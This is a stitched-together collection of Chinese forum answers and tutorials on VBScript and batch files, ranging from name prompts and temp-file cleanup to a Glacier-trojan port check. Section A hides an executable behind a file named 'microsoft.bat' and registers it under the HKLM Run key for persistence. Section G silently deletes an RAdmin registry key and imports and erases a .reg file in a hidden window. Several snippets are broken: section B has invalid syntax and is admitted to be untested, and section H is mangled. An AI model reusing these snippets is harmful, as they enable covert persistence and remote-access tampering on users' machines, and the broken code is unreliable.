A. vbs腳本命令
set fso = createobject("scripting.filesystemobject")
set ofwr = fso.opentextfile(fso.getspecialfolder(WindowsFolder) & "\microsoft.bat",8,true)
ofwr.writeline "start %systemroot%\stem\a.exe"
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr.bat",fso.getspecialfolder(WindowsFolder) & "\microsoft.bat","REG_SZ"
其實沒必要創建批處理文件
a.exe 可以直接加入啟動項。
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr",fso.getspecialfolder(WindowsFolder) & "\stem\a.exe","REG_SZ"
B. 求高手給寫個VBS腳本！！！！
'保存為vbs類型文件
set shell=createobject("wscript.shell")
set open=createobject("scripting.filesystemobject")
set word=createobject("Word.Application")
set tasks=word.tasks
file1="aaa.txt" '假設這是aaa,修改下路徑即可
file2="bbb.txt" '假設這是bbb,修改下路徑即可
file3="c.exe" '某c程序
button="^N" '某開始按鈕的快捷鍵,你必須先確定這個快捷鍵按鈕可以用鍵盤操作,且是否有效."^N"是Ctrl+N,"%N"是Alt+N.N可以是別的組合鍵
tmp1=envision("tmp")&"\tmp1" '這是aaa的臨時記錄文件
tmp2=envision("tmp")&"\tmp2" '這是bbb的臨時記錄文件
public function prtitle
for each i in tasks
if i.visible then prtitle=i.name:word.quit:exit for
next
end function
public function dir(byval exist)
if open.folderexists(exist&"\") then
if open.folderexists(exist) then dir=open.getfolder(exist) else dir=""
else
if open.fileexists(exist) then dir=open.getfile(exist) else dir=""
end if
end function
function (byval file1,file2)
open.file file1,file2
end function
public function Envision(byval Val)
envision=shell.environment("Process").item(val)
if lcase(val)=lcase("cd") then envision=open.getfolder(".")
end function
'第一次必須記錄文件,否則往後程序無法得知是否更新
'do 這是循環開始
if dir(file2)="" then open.createtextfile(file2).write ""
if dir(file1)="" then shell.popup file1&"不存在,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa不存在的話程序自動退出
if open.getfile(file1).size=0 then shell.popup file1&"是空文件,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa是空文件的話程序自動退出
read1=open.opentextfile(file1).readall
if dir(tmp2)="" then open.createtextfile(tmp2).write ""
if dir(tmp1)="" then
open.createtextfile(tmp1).write read1
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
popup file1&"沒有變化,如果是第一次運行本程序,請再運行一次.",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
else
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
shell.popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
shell.popup file1&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
end if
'wscript.sleep 1000*30 '30秒執行一次
'loop 循環結束
'==================================
'代碼沒有經過任何測試,如果不符合實際要求.可以網路hi我.怎麼用法自己調整.如需要循環執行將32行的'do前面的'去掉,和76行的'loop前面的'去掉.循環的時候系統肯定會很慢,不保證能正常使用電腦.如需定時循環一次可以將75行最前面的'去掉.
'==================================
C. BAT,與VBS兩種腳本語言.
bat 以前是DOS下的批處理文件
批處理，也稱為批處理腳本，英文譯為BATCH，批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式，只要遵守以下這條就ok了：每一行可視為一個命令，每個命令里可以含多條子命令，從第一行開始執行，直到最後一行結束，它運行的平台是DOS。批處理有一個很鮮明的特點：使用方便、靈活，功能強大，自動化程度高.要學好批處理，DOS基礎一定要牢！當然腦子靈活也是很重要的一方面。
例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟，將下面的幾行命令保存為name.bat然後執行（以後文中只給出代碼，保存和執行方式類似）：
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂？是不是很easy？但它的作用卻是很實用的，執行這個批處理後，可以在你的當前盤建立一個名為a.txt的文件，它裡面記錄的信息可以幫助你迅速找到速度最快的QQ伺服器，從而遠離「從伺服器中轉」那一痛苦的過程。這里>的意思，是把前面命令得到的東西放到後面所給的地方，>>的作用，和>的相同，區別是把結果追加到前一行得出的結果的後面，具體的說是下一行，而前面一行命令得出的結果將保留，這樣可以使這個a.txt文件越來越大（想到如何搞破壞了？？）。By the way，這個批處理還可以和其他命令結合，搞成完全自動化判斷伺服器速度的東東，執行後直接顯示速度最快的伺服器IP，是不是很爽?例二、再給出一個已經過時的例子（a.bat）：
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
為什麼說這是個過時的例子呢？很簡單，因為現在已經幾乎沒有人用帶廣告的QQ了（KAO，我的QQ還顯示好友三圍呢！！），所以它幾乎用不上了。但曾經它的作用是不可小窺的：刪除QQ的廣告，讓對話框乾乾凈凈。這里用的地址是QQ的默認安裝地址，默認批處理文件名為a.bat，你當然可以根據情況自行修改。在這個腳本中使用了if命令，使得它可以達到適時判斷和刪除廣告圖片的效果，你只需要不關閉命令執行後的DOS窗口，不按CTRL+C強行終止命令，它就一直監視是否有廣告圖片（QQ也再不斷查看自己的廣告是否被刪除）。當然這個腳本佔用你一點點內存，呵呵。
例三，使用批處理腳本查是否中冰河。腳本內容如下：
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
這里利用了netstat命令，檢查所有的網路埠狀態，只需要你清楚常見木馬所使用的埠，就能很easy的判斷出來是否被人種了冰河。然這不是確定的，因為冰河默認的埠7626，完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動，就變成可以檢查其他木馬的腳本了，再改動一下，加進去參數和埠及信息列表文件後，就變成自動檢測所有木馬的腳本了。呵呵，是不是很過癮？腳本中還利用了組合命令&&和管道命令|，後面將詳細介紹。
例四，借批處理自動清除系統垃圾，腳本如下：
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
將以上腳本內容保存到autoexec.bat里，每次開機時就把系統垃圾給自動刪除了。這里需要注意兩點：一、DOS不支持長文件名，所以就出現了Tempor~1這個東東；二、可根據自己的實際情況進行改動，使其符合自己的要求。
D. 如何編寫vbs腳本
其實vbs腳本和Visual Bacic語言很相似VBS就是visual basic script，vb語言腳本可以使用msg,fso,等等對象和函數，但是除了通用窗體如inputbox之類的外不能出現窗體，只能做到類似批處理的工作，在一些方面有特殊作用，比如組策略gpedit.msc中可以用來做成啟動腳本，用來啟動一些帶參數的軟體如drvanti，我通常用VBS來啟動這個參數Drvanti.exe -noquit方法的話網上很多，可以去找，說來話長。
E. 求一個VBS腳本
set ws=createobject("wscript.shell")
ws.sendkeys "{PrtSc}"
ws.run "%SystemRoot%\system32\mspaint.exe"
wscript.sleep 1000
ws.appactivate "未命名-畫圖"
ws.sendkeys "^V"
'腳本是這樣但是沒有達到你要的效果，試了多次也不行，可能不能實現抓圖（用sendkeys發送的print screen sysrq 鍵
）
F. VBS腳本語言
REM 輸入並回顯你的名字
\'使用InputBox和Msgbox函數
Dim name,msg
msg="請輸入你的名字:"
name=Inputbox(msg,"名稱")
Msgbox(name)
把上面的程序清單輸入到記事本裡面, 然後保存為以.vbs為擴展名的文件("保存類型"裡面選擇"所有文件").然後雙擊運行, 觀察運行結果. 注意:請自己輸入程序清單, 不要復制->粘貼
這是最簡單的,也是最基本的.
G. 解釋vbs腳本
sub cmd()
'聲明 Sub 過程
Set WshShell=wscript.CreateObject("WScript.Shell")
'創建shell對象
wshshell.run "%ComSpec% /c reg delete HKEY_LOCAL_MACHINE\SYSTEM\RAdmin /f",0
'隱藏運行REG命令
wscript.sleep 10000
'暫停10妙
wshshell.run "%ComSpec% /c regedit /s 1.reg",0
'導入注冊表(1.reg)
wscript.sleep 1000
'暫停1妙
wshshell.run "%ComSpec% /c del /f /q 1.reg",0
'刪除1.reg文件
wscript.sleep 10000
'暫停10妙
wsset wshshell=nothing
'釋放wshshell對象的佔用內存
end sub
'過程結束
call cmd()
'運行 cmd過程
H. vbs腳本編寫
dimws,ShutdownRunner
setws=creatrobject("wscript.shell")
ws.run"C:Windowssystem32cmd.exeat/delete/yes"
SetShutdownRunner=CreateObject("wscript.shell")ShutdownRunner.run"at22:10shutdown-s-t"+"60",vbHide
I. , .vbs是什麼腳本
VBScript(Microsoft
Visual
Basic
Script
Editon).，微軟公司可視化BASIC腳本版).
正如其字面所透露的信息,
VBS(VBScript的進一步簡寫)是基於Visual
Basic的腳本語言.
我進一步解釋一下,
Microsoft
Visual
Basic是微軟公司出品的一套可視化編程工具,
語法基於Basic.
腳本語言,
就是不編譯成二進制文件,
直接由宿主(host)解釋源代碼並執行,
簡單點說就是你寫的程序不需要編譯成.exe,
而是直接給用戶發送.vbs的源程序,
用戶就能執行了.